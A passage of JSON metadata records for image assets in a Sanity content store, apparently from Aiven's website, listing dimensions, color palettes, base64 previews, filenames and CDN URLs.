iginalFilename":"2d5ba25afbf43c8443721028d56be2fa1cf113e6-925x402.png","path":"images/sczeoy4w/production/2d5ba25afbf43c8443721028d56be2fa1cf113e6-925x402.png","sha1hash":"2d5ba25afbf43c8443721028d56be2fa1cf113e6","size":90792,"uploadId":"qiGp49OEx6h40jmtdv9XwOdvJrYt6tkN","url":"https://cdn.sanity.io/images/sczeoy4w/production/2d5ba25afbf43c8443721028d56be2fa1cf113e6-925x402.png"} {"_createdAt":"2023-07-07T09:21:13Z","_id":"image-2d976c2d85f7d4d561d61e68ac29bf4598011c58-463x60-png","_rev":"lIJH2XrFwRt4uP1xSOg3i0","_type":"sanity.imageAsset","_updatedAt":"2023-07-07T09:21:13Z","assetId":"2d976c2d85f7d4d561d61e68ac29bf4598011c58","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4NB3f_~B^i^P=x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":7.716666666666667,"height":60,"width":463},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAAn0lEQVQImS3JMQrCQBBG4dwhu/PPzHZBryAIgkJAUAtRowgWRoiFhQgWggYVEkwRb+YJbCzSegoJ2D2+51V54/NI569ulhRB1AodzNQ5WTjlvgqHwjQQprEKJioY/XurgliYZiCzZNiodrL+xqvy5re4RO9elpTButN2ZIYq2AvTQQU7hr0ybKmCVJhihl0J4yhMZ4Y9gUz9bwx7J+s/fwsrI5CO8sQ0AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4770","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#944404","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f47c07","foreground":"#fff","population":0.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#804c18","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc9146","foreground":"#000","population":0.22,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c5ca4","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f47c07","foreground":"#fff","population":0.3,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"TG Logo Transparent.png","path":"images/sczeoy4w/production/2d976c2d85f7d4d561d61e68ac29bf4598011c58-463x60.png","sha1hash":"2d976c2d85f7d4d561d61e68ac29bf4598011c58","size":14968,"uploadId":"XIGezGwol1aePJjmjV2ymAcvEdy63zLd","url":"https://cdn.sanity.io/images/sczeoy4w/production/2d976c2d85f7d4d561d61e68ac29bf4598011c58-463x60.png"} {"_createdAt":"2022-06-14T14:41:02Z","_id":"image-2da298493e9e594b2c43286ab13bb4ee4e76cb9b-205x205-jpg","_rev":"oamrAPLmQLQjd9jh7Ypyrq","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:02Z","assetId":"2da298493e9e594b2c43286ab13bb4ee4e76cb9b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eIKKvS_3xt4.WA_3RkIUxuR*01IU4oxuRj~qWBRjWARjIUxuM{j[xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":205,"width":205},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAYFBwT/xAAlEAABAwQCAQQDAAAAAAAAAAABAgMEAAUREgYhYQcTFBUiQVH/xAAXAQEBAQEAAAAAAAAAAAAAAAAAAQID/8QAFREBAQAAAAAAAAAAAAAAAAAAAAH/2gAMAwEAAhEDEQA/ALy2QPrUNx4TSPnlPubuoOiU/wBryXHk10jPFN3dtsuKelBJ0UB4zVvNdjSePhQJ2UnQFBwe/Nco5nBiOXgRlh4NtthA27ya5ttWZYIc10SITramHEhQwodeKVU220Wa0W+PEbaSNWwTscnJFKK4/Zb9cZPKY0FclQjNNKcShPX5D9mprmnJLm9cFlcggtryCBjulKRGOPUDkDnbssLUOtlJ7xSlKo//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3935","foreground":"#fff","population":4.83,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e4226","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c3935","foreground":"#fff","population":4.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bbb6","foreground":"#000","population":3.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4ece4","foreground":"#000","population":0.17,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#847d77","foreground":"#fff","population":3.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b57f49","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"john.jpg","path":"images/sczeoy4w/production/2da298493e9e594b2c43286ab13bb4ee4e76cb9b-205x205.jpg","sha1hash":"2da298493e9e594b2c43286ab13bb4ee4e76cb9b","size":11705,"uploadId":"9GwzxnHhK6eqUNIbGGHO3oVZ8SnL5cTf","url":"https://cdn.sanity.io/images/sczeoy4w/production/2da298493e9e594b2c43286ab13bb4ee4e76cb9b-205x205.jpg"} {"_createdAt":"2022-09-26T16:07:18Z","_id":"image-2dc7297d4bc121661629ab2c96fbc6a5771d278b-2500x1308-jpg","_rev":"vDQRRYe9nRreptIRp5kDoy","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:28Z","assetId":"2dc7297d4bc121661629ab2c96fbc6a5771d278b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MORopgpytSVE%#b|NbjExZX9%#MdV@x]RP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGgAAAQUBAAAAAAAAAAAAAAAAAAIDBAUGCP/EAB8QAAICAQUBAQAAAAAAAAAAAAEDAAIxBAUREyEGIv/EABUBAQEAAAAAAAAAAAAAAAAAAAEE/8QAGREAAwADAAAAAAAAAAAAAAAAAAECAxEx/9oADAMBAAIRAxEAPwDo1qhZtj2tzgWlH9JvOp0D0LRa/wCwcV5mjpUdjPBmJYtZdUmlSQMkSbNbqdcKcMqa30a2PUOdtqmOtY3t6eRwYSeioFPAMwjFNSkFpOmz/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#654948","foreground":"#fff","population":0.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f3d05","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f57a10","foreground":"#fff","population":4.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfbbbc","foreground":"#000","population":1.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc666","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c7c61","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f57a10","foreground":"#fff","population":4.2,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"2dc7297d4bc121661629ab2c96fbc6a5771d278b-2500x1308.jpg","path":"images/sczeoy4w/production/2dc7297d4bc121661629ab2c96fbc6a5771d278b-2500x1308.jpg","sha1hash":"2dc7297d4bc121661629ab2c96fbc6a5771d278b","size":694746,"uploadId":"S7oJbG2vvNzZDPV6Bw0GxKEqK7LQJZ1o","url":"https://cdn.sanity.io/images/sczeoy4w/production/2dc7297d4bc121661629ab2c96fbc6a5771d278b-2500x1308.jpg"} {"_createdAt":"2022-06-15T20:02:01Z","_id":"image-2df65d7110b2a2167452894020c1878fae3c5197-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRrhzIw","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:23:23Z","assetId":"2df65d7110b2a2167452894020c1878fae3c5197","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MRR+m;_Qn2HDzU-QS%oMadba.-KPbvv}TJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACzklEQVQokXXSa0zNARjH8f8L5g1v2Gx4Y96ayyZzKXJEEpOTf6fSqVOkDgq5FOVUklKpSHM3OUouIZfN2owXmrl1G07KpZSiC6ujv7P0P8/XiHnlxWe/59Vvz549CgtVWLoWfMOG02AC7wDwWQb+C5HVHhA8FYmYgsROwp0wHj15HG7bGCR5BCQp/yQqKCwJBTUWgjfBmljwt4BBBcNKxM8HCZgP6kzcUdNwpfviLLHSX5mEs2IzfSd86cufxUChB4N5U3Gnj0X5vVnYFojaARHbwLwFgqygrkPMFiQ6FNYtZzDOl177AT46ntH+sYXW5joa7pfy5FYBr+8dp+e2jR9H56HgHwHxNkjJgR37YWfmHxmILQs5kImkxOHaZaatooTnbd1U97qoaXlP/YMy6m5k0lqVR3/lTvSi2SissEDCPth/BGx5kJILGYchqxjJKUZyC5HdCXzfasFx0c4FRxf575zcrn1MW1k8fQVz6D8yl4H8GQylj0PBzwwbkiA5B1IPwb5CyC6GnGNI1lFIPYjExKBFm3lhL+N4XS97Gr5T+qSWlxVpOE6HUn0mksdFAXSnTURhcQiYNg6XWvdA3F7YmgabU5Bfdw22IitNfAsLp+n8JapefaG82cXN5k7uOGo4W/uI1Ec1FFw7Q2O2B4osChJZFSVi2iiixooEWUVCNomoVhG/cMFbFVmwSpymSHlbUiFNrV+lsWdQqrucUt7ZLdlvOiX+aYvkXrdLY7aHKCxYA4uD+f0+PiHDfs1LQhHvIPAKRDwD6Deu5+2pK7xv/kR7xxfqXzdx92EV5ZXnKLXn8qDITE/aJBQ8jfr/iJdRxytQF0+jri0P1zv35usdl2/pXVev6h0n8/QPGRa9PdGgf941XXcmTtCHEkfpCl6B2v/I3/Q0akPeqqatjtQGIqM1V5RJGzQbtKGw6ZrbMlmTmPGaxI/W2D5S+wlPUWybq32oSAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#356274","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#265a59","foreground":"#fff","population":0.4,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3c54","foreground":"#fff","population":23.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ac7cac","foreground":"#fff","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3c54","foreground":"#fff","population":23.56,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af5859","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7406","foreground":"#fff","population":13.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2df65d7110b2a2167452894020c1878fae3c5197-1567x844.png","path":"images/sczeoy4w/production/2df65d7110b2a2167452894020c1878fae3c5197-1567x844.png","sha1hash":"2df65d7110b2a2167452894020c1878fae3c5197","size":162217,"uploadId":"epyDMaMHsbTvBwoslOlDeRD2pI1NlxfU","url":"https://cdn.sanity.io/images/sczeoy4w/production/2df65d7110b2a2167452894020c1878fae3c5197-1567x844.png"} {"_createdAt":"2022-09-30T15:36:09Z","_id":"image-2df698122a45098a0c6ee809b6e68428b8774e2f-1770x262-png","_rev":"vDQRRYe9nRreptIRp5kC4f","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:09Z","assetId":"2df698122a45098a0c6ee809b6e68428b8774e2f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"41S?DWMI00~XD*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.755725190839694,"height":262,"width":1770},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAAWElEQVQImZXMwRXDIAxEQfdfbQAB0Uri+zkVOIe5ztWG8emD1gdjGHNtXEKRfwpcwTX3ppuxbaK1kZzIIKuoOi8VkYmeUL74zobMiCd0RxnUKc45r+UvFDet5+wDbprPxAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#845c14","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#725011","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#559cad","foreground":"#fff","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccbca4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd488","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#559cad","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1a63c","foreground":"#000","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2df698122a45098a0c6ee809b6e68428b8774e2f-1770x262.png","path":"images/sczeoy4w/production/2df698122a45098a0c6ee809b6e68428b8774e2f-1770x262.png","sha1hash":"2df698122a45098a0c6ee809b6e68428b8774e2f","size":359676,"uploadId":"t5AYbSe6YVNAuRLPox5dMkrojfVgBiUz","url":"https://cdn.sanity.io/images/sczeoy4w/production/2df698122a45098a0c6ee809b6e68428b8774e2f-1770x262.png"} {"_createdAt":"2022-06-30T19:57:08Z","_id":"image-2e177fc29e50d0934b44cef5844f5358901b933d-750x424-png","_rev":"CK1sLU2mnwa3vmbYWEbLCI","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:28Z","assetId":"2e177fc29e50d0934b44cef5844f5358901b933d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M14eNP%MkWt7R*^QV@WBo0kC-VWBWpoLkC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7688679245283019,"height":424,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABEElEQVQokXWQW47DIAxFWURbEl7GBmxIpX5M0unsf2Ujkrbq0zof6EpH10adcp5LWbgszAvzWWTjt9a/abq0dk86zGfmuZQjordWnXKaV3Ne5Y0teX8vKz/MRyJwTjHGitgIKz7RbryEdaVECM4pBHgmIEAMAUOI3wHvnTEqp5SJEhEhJkTCGAG8cy9cx1pnjDPGjOOgtRLmKlyrVBFhLjlTxPBRttaOfQat9eGw3+0U51xF2m1EJFPaFnskeB/u/jBcZYyRmVetSptEaiJ6lzf6CredD/u9igBFKrcplZJyySkhwEez9zvnH8oVhJBY0jTFTBD7P3+rfSkftVbgPeWSWsMuBwhftfvxvdwYMwz/eZxVJdSxf70AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#334d48","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#241004","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#767575","foreground":"#fff","population":0.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2a0a0","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1af87","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#767575","foreground":"#fff","population":0.46,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e56619","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2e177fc29e50d0934b44cef5844f5358901b933d-750x424.png","path":"images/sczeoy4w/production/2e177fc29e50d0934b44cef5844f5358901b933d-750x424.png","sha1hash":"2e177fc29e50d0934b44cef5844f5358901b933d","size":18089,"uploadId":"H2kikcC4EY7DE3C3tkSujy0ED8orGTv1","url":"https://cdn.sanity.io/images/sczeoy4w/production/2e177fc29e50d0934b44cef5844f5358901b933d-750x424.png"} {"_createdAt":"2024-05-20T08:50:21Z","_id":"image-2e22c128ad99e515d79ab1502b5d1bf73cf5d23d-1200x628-png","_rev":"5dKvdU2b7V4fiIIxYxV5TG","_type":"sanity.imageAsset","_updatedAt":"2024-05-20T08:50:21Z","assetId":"2e22c128ad99e515d79ab1502b5d1bf73cf5d23d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBAvk:2S,*nV55-@NX#kFhv_D%M_ajxtog","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACrUlEQVQokU3PzVOSCQDH8ecvaCZfQAIR5CHkRR5BnwThCUV59wEFlEyqLcVS01QwxNd1NRAzPdTM7szuNHXplp261GV3Lzuzh53Zv+i7U1728Lt+5vcVWjpydIlFeqQFnP3L9MpruG+VsUkbmOxrdNnKmBxVul07dLv2uelpMDz+gQfLf/N06TPnxXk+zgxymJxGkY8R2g0FnJ7HKGPPCSd2GYnvMRw74Hb0ECVyhDJWJxg5IRQ/43bsgkDkDcnpTyyU/+Ww9oXLxSJ/5Xt4Fxqj6KkgaIwzeHxPiaf3SeePSEwcEU8fk5w8IZU9I5W7YDR1hj/cZHD4FP/oGxL5S+ae/UOt+ic/l55zqQZ5q0Qp9y8jaI138fpWiKl7qLkrMKYeE880iGdOSWUvUCJNrNIeRvsuNm+TUOoDdxf+YGn1K9X5c84elHg1O8dStHYF9g+tkpo8IHunTma6gZr/9q5JKvuS5OQ5/nAds3MbnaWG2XmEf/QX1PyvTE/9yMP8Aiuz91gqPiEZ+wmhvXMGj3+FRGaf9NQx47kXjGcbJCZOiKabBMfq2L27GG5W0Yk1bI4d1GCZYvgOSdlHZMBLIjjESHACSd5CuK6bQrQ/+p7t9a/h8W3g8W/S56vSK29h7a2it5bRWTbpELfpc2xQC6R4PyKyM2imcEsiMzSAIsewS2WEFk0Wc+cUNtt9RGcJg3UerenbHqM1LaM1r6I1r6OzVL6DHsc6jUCY3yNmfgu7mQuFUBWFgKzSI20htGomEQ1ZHLZ7WF0lbljmaNH/QIt+nrbORTRdV2CHZROduI3LXqEkFzgNRlkP5Ij7Z5HlAs6+J4hSHeFae5ZWbQ6NvoDGWKTNcJ9W/UPaOku0GxfRmP4P1jDbthlwVVDcFWT3Dg7pAKt0iMXdpFt6zX9ro3710GyNcQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#23243c","foreground":"#fff","population":5.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041878","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ce572d","foreground":"#fff","population":8.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a7a8cd","foreground":"#000","population":1.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6a75d3","foreground":"#fff","population":5.48,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4f5c98","foreground":"#fff","population":0.53,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce572d","foreground":"#fff","population":8.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Workshop Sebi OpenSearch-LangChain 2024-05-22 (1200x628).png","path":"images/sczeoy4w/production/2e22c128ad99e515d79ab1502b5d1bf73cf5d23d-1200x628.png","sha1hash":"2e22c128ad99e515d79ab1502b5d1bf73cf5d23d","size":330847,"uploadId":"FTsmiup1Smn4tkArM8JBGQEEPvBHAJgI","url":"https://cdn.sanity.io/images/sczeoy4w/production/2e22c128ad99e515d79ab1502b5d1bf73cf5d23d-1200x628.png"} {"_createdAt":"2024-06-17T11:56:47Z","_id":"image-2e2b6f7210a2d019c25cbd62dcb2a56e790b8cfa-1200x630-jpg","_rev":"oy587rgBA09TddzP3B3CCj","_type":"sanity.imageAsset","_updatedAt":"2024-06-17T11:56:47Z","assetId":"2e2b6f7210a2d019c25cbd62dcb2a56e790b8cfa","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNcs*VX%-SZP~Wk;jDiyidcWa1iyb]b]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFAwb/xAAiEAABBAEDBQEAAAAAAAAAAAABAAIDEQQFMVESFCEiQoH/xAAWAQEBAQAAAAAAAAAAAAAAAAAHAQX/xAAcEQACAgIDAAAAAAAAAAAAAAAAAQIRElEEQWH/2gAMAwEAAhEDEQA/AHsabDEbQ6El43PKo6dMwzisZlfqi/DNl0mnNHbwGhdFGLk26FnkpRje/TZzpQfUtrgITMYHQPCFcG+zOzWj/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935405","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fabc6f","foreground":"#000","population":0.43,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.79,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-whistleblowing-protection_meta-preview.jpg","path":"images/sczeoy4w/production/2e2b6f7210a2d019c25cbd62dcb2a56e790b8cfa-1200x630.jpg","sha1hash":"2e2b6f7210a2d019c25cbd62dcb2a56e790b8cfa","size":46800,"uploadId":"5qrsRetOObXBbvAi35Pmw8TL7Ix9SbHs","url":"https://cdn.sanity.io/images/sczeoy4w/production/2e2b6f7210a2d019c25cbd62dcb2a56e790b8cfa-1200x630.jpg"} {"_createdAt":"2022-09-21T13:12:37Z","_id":"image-2e31ce03fd6683ec6ba163b38857a99f6e0d9b47-3000x2000-jpg","_rev":"heqX94pomd70Sxq8Xyop1f","_type":"sanity.imageAsset","_updatedAt":"2022-09-21T13:12:46Z","altText":"Aiven founders","assetId":"2e31ce03fd6683ec6ba163b38857a99f6e0d9b47","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":2000,"width":3000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFAwf/xAAjEAACAQQBBQADAAAAAAAAAAABAgQAAwURBgcSEyFBMlHR/8QAFQEBAQAAAAAAAAAAAAAAAAAAAwL/xAAZEQACAwEAAAAAAAAAAAAAAAAAAQIREiH/2gAMAwEAAhEDEQA/AJWO6nrDdY74x7ZYlQ+/QP8AafyvVp4+Na5HiK98sLSrvZB/dRRjknlVvlCrXzfICD8qeTiEK9PEsuyt5Rd7Ao1sUeVxIuMqtyVnROGcxXMcfjypER0unasN/RRWGCgpjYPhjkdhcv7X6aKXIGj/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32454d","foreground":"#fff","population":1.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040d10","foreground":"#fff","population":4.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040d10","foreground":"#fff","population":4.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c3b9","foreground":"#000","population":4.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ebbfb7","foreground":"#000","population":0.44,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f8270","foreground":"#fff","population":4.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#852d29","foreground":"#fff","population":4.33,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"aiven-founders.jpg","path":"images/sczeoy4w/production/2e31ce03fd6683ec6ba163b38857a99f6e0d9b47-3000x2000.jpg","sha1hash":"2e31ce03fd6683ec6ba163b38857a99f6e0d9b47","size":510225,"title":null,"uploadId":"gMGpV5sW93oyFQql2EUWP76NtTs9FOXC","url":"https://cdn.sanity.io/images/sczeoy4w/production/2e31ce03fd6683ec6ba163b38857a99f6e0d9b47-3000x2000.jpg"} {"_createdAt":"2024-05-07T09:54:12Z","_id":"image-2e3a1d9cc25c46e952cd6da5d33186dd48e42af3-600x600-jpg","_rev":"ILS0AxpRQSb999R1zoSyvG","_type":"sanity.imageAsset","_updatedAt":"2024-05-07T09:54:12Z","assetId":"2e3a1d9cc25c46e952cd6da5d33186dd48e42af3","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e-NJg_?c?^aKt7xaV@bcWVs:tRjZoKRkM{tRWBt7RjayofWWWBt6Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":600,"width":600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAgGBwX/xAApEAABAwMDAwIHAAAAAAAAAAABAgMFAAQRBgchEiIxE4EUMjNBUWGh/8QAFgEBAQEAAAAAAAAAAAAAAAAABAMF/8QAHBEBAAICAwEAAAAAAAAAAAAAAQACBBEDEjGR/9oADAMBAAIRAxEAPwDu+6k05EabWLdZQ6+fT6h5SD5NTvKNqilmUhLh61vWx1l5J5X9+fzXe95LAP6aNyltSlsnJKfIFT7JTLNvGuNKPUFjAKvmJ/VAy9lhNzVwerxtXXyUltjqg6m0VHyV0pKblael0eO4cGleDtDBttaFsl/EfWJdwOMZxx/KUytrJtJn3rUsgzR7lyL0bpS8dYS2olBSQ4nIxipn2503HS+p1OX7a3cEqCSvtHtSlT5/JbF9ZqpKQvLK+eYs7p5hhCiEttqwke1KUobZiOpP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted